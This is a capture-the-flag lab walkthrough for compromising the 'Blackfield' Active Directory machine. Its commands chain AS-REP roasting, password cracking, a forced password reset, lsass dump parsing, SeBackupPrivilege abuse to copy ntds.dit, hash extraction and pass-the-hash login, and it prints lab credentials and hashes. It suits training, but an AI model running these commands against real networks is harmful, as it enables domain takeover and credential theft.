description |
---|
nmap 10.10.10.192 -p- -sS -sV
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-10 21:09:13Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
{% hint style="info" %} Add "10.10.10.192 blackfield.local" to /etc/hosts. {% endhint %}
Starting out we hit kerberos on port 88 against a large username list. Pulling the known account name of [email protected].
With no further user accounts discovered we can check null credentials against SMB with smbmap
.
smbmap -u null -p "" -H 10.10.10.192 -P 445 2>&1
We have some non default shares. The profiles$
share is of interest as we have READ ONLY access to the share.
Using the smbclient command below, we can recursively download all files and folders in the share.
smbclient '\\10.10.10.192\profiles$' -N -c 'prompt OFF;recurse ON; mget *'
None of the directories contain any files it seems. We do however, have folders named after potential users. Utilizing this information we can print the direct list to file.
find . -maxdepth 1 -type d -printf '%f\n' > users.txt
Against kerbrute we can check for which users exists.
python3 kerbrute.py -users '~/blackfield/users.txt' -domain 'blackfield.local' -dc-ip '10.10.10.192' -outputusers '~/known_users.txt'
We now have a confirmed user list:
svc_backup
audit2020
support
Where the user support has "Do not require pre-authentication" enabled in Active Directory. With this, we can potentially pull the kerberos hash with Impacket's GetNPUsers.py
.
python2 GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -request -usersfile ~/known_users.txt -format john -outputfile ~/hashes.hash
Reading the output file we see our confirmed hash for the support user.
[email protected]:e4be5339949e37a4049a10b4a175f5e1$0a4606e9cc22be8bf26959b078d7d94703674c0df20808c3d93b2d09d0bacbaef84cc3b1fefd4384b545ce8d109b503db0e4705e4a94d0b8c681ec8a44cbdda2cadd94ea65c94f4e0ac956743ad3dbc2696cf5ad1fcb4aedc95bc8e5e7686311f7471a3455f59f422a4fa99b2850cdab872f065f680239ddc5007f2f1866d705808262203e50ccca81a32ffa1fbcdab215c29ada83678e4298a8ab92e1bf871ae507963f68453289a702bfa9df8ab2b4b73cc0cf07b95d4fb4c0f765f5b4712ce871eb9bd641e41df7efc7243b5e3cc8e92dcc2778c3b25756ebfbef86741840357839d0926f731a6d64bf335c3f675c237bc650
Which, can be cracked wsith John
against the rockyou.txt password list.
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hashes.hash
Revealing the users password.
Credentials:
support:#00^BlackKnight
Checking with crackmapexec
shows the credentials are valid.
crackmapexec smb '10.10.10.192' -u 'support' -p '#00^BlackKnight'
However, at the point we do not have code execution over SMB. We are not a member of "Remote Management Users" and RDP is not running.
What we can utilize however, is bloodhound
to pull domain informaiton externally using Bloodhound.py.
GitHub: https://github.com/fox-it/BloodHound.py
python2 bloodhound.py -u 'support' -p '#00^BlackKnight' -ns '10.10.10.192' -d 'blackfield.local' -gc 'dc01.blackfield.local'
After uploading the results to bloodhound we then further investigate our currently owned user support. Looking at the node information we see we have deriative permissions on the "ForceChangePassword" attribute over the user Audit2020.
We can force a password change externally with rpcclient as shown below.
# setuserinfo2 username level password [password_expired]
rpcclient -U support //10.10.10.192
setuserinfo2 audit2020 23 'Password123'
After the password change we can confirm the credentials with crackmapexec
.
crackmapexec smb 10.10.10.192 -u 'audit2020' -p 'Password123' --shares
From our previous findings we know that a forensic SMB share exists. The user audit2020 has access to the share.
smbclient -U 'audit2020' '\\10.10.10.192\forensic' -c 'prompt OFF;recurse ON; mget *'
Looking inside the memory_analysis folder, the most interest standout file would be lsass.dmp. Hopefully we can pull some user hashes or password from this.
lsass.dmp
is dump file format. The best dedicated tool for this is likely pypykatz
.
Github: https://github.com/skelsec/pypykatz
Install
# Clone repo
git clone https://github.com/skelsec/pypykatz.git
# Install
pip3 install pypykatz
The following syntax can be used to analysis the lsass.dmp
file.
pypykatz lsa minidump '~/blackfield/memory_analysis/lsass.DMP'
As shown above we can see the NT hash for the account svc_backup.
As we know from earlier enumeration, this user is a member of the "Remote Management Users" group. As such, we can use Evil-WinRM
to login with the account hash.
evil-winrm -i '10.10.10.192' -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
We know this account is already a member of the "Back Operators" group. Let's double check we have the "SeBackupPrivilege" privilege assigned to us so, we can perform privilege escalation.
This privilege grants us the ability to create backups of files on the system. Knowing this, a high value file would be the ntds.dit
file which is a database of hashes for domain objects / users. As the ntds.dit file is in constant use we will be unable to create a backup using normal methods as the system will lock the file.
What we can do instead is create a Distributed Shell File (DSH). This file will contain the appropriate commands for us to run the diskshadow utility against the C: drive and ultimately, the ntds.dit file.
I have previously covered this technique before as linked below.
{% content-ref url="../../tryhackme/linux/fusion-corp.md" %} fusion-corp.md {% endcontent-ref %}
First created a file called viper.dsh
on the attacking machine. Then insert the following contents:
set context persistent nowriters
add volume c: alias viper
create
expose %viper% x:
Once completed use the command unix2dos
to convert the file to DOS format.
unix2dos viper.dsh
Then on the target system create a directory called 'temp' in c:\temp.
After this upload the viper.dsh
file.
From here run the following commands:
diskshadow /s viper.dsh
robocopy /b x:\windows\ntds . ntds.dit
From here we need to extract the SYSTEM hive which will be required for extracting the hashes with Impacket later.
reg save hklm\system c:\Temp\system
From here we can use the download command to download the ntds.dit
and system
hive file.
download ntds.dit
download system
Now, over on the attacking system we can use Impacket's secretsdump.py
to extract the domain account hashes.
python2 'secretsdump.py' -ntds 'ntds.dit' -system 'system' local
With the administrators NTLM hash we can log into the Domain Controller with Evil-WinRM
.
evil-winrm -i '10.10.10.192' -u 'administrator' -H '184fb5e5178480be64824d4cd53b99ee'